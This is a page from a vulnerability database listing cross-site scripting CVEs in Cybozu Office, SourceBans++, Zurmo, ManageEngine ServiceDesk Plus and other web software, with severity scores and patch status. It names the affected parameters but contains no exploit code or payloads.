Cross-site scripting vulnerability in Cybozu Office 9.0.0 to 10.4.0 allows remote authenticated attackers to inject arbitrary web script or HTML via the Schedule function. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Microsoft Office
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Cross-site scripting vulnerability in Cybozu Office 9.0.0 to 10.4.0 allows attackers with administrator rights to inject arbitrary web script or HTML via the Project function. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Microsoft Office
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Cross-site scripting vulnerability in Cybozu Office 9.0.0 to 10.4.0 allows attackers with administrator rights to inject arbitrary web script or HTML via the Customapp function. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Microsoft Office
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

sourcebans-pp (SourceBans++) 1.5.4.7 has XSS in admin.comms.php via the rebanid parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Sourcebans Pp
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

trollepierre/tdm before 2017-04-13 is vulnerable to a reflected XSS in tdm-master/webhook.php (challenge parameter). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS PHP Tdm
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Zurmo 3.1.1 Stable allows a Cross-Site Scripting (XSS) attack with a base64-encoded SCRIPT element within a data: URL in the returnUrl parameter to default/toggleCollapse. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Zurmo Crm
NVD GitHub
EPSS 2% CVSS 5.4
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in ZOHO ManageEngine ServiceDesk Plus before 9.2 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Zoho Servicedesk Plus
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Multiple cross-site scripting (XSS) vulnerabilities in the IVYWE (1) Assist plugin before 1.1.2.test20160906, (2) dataBox plugin before 0.0.0.20160906, and (3) userBox plugin before 0.0.0.20160906. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Assist Plugin Databox Plugin +1
NVD GitHub
Prev Page 392 of 437 Next

Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39320

Related CWEs

MITRE ATT&CK

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy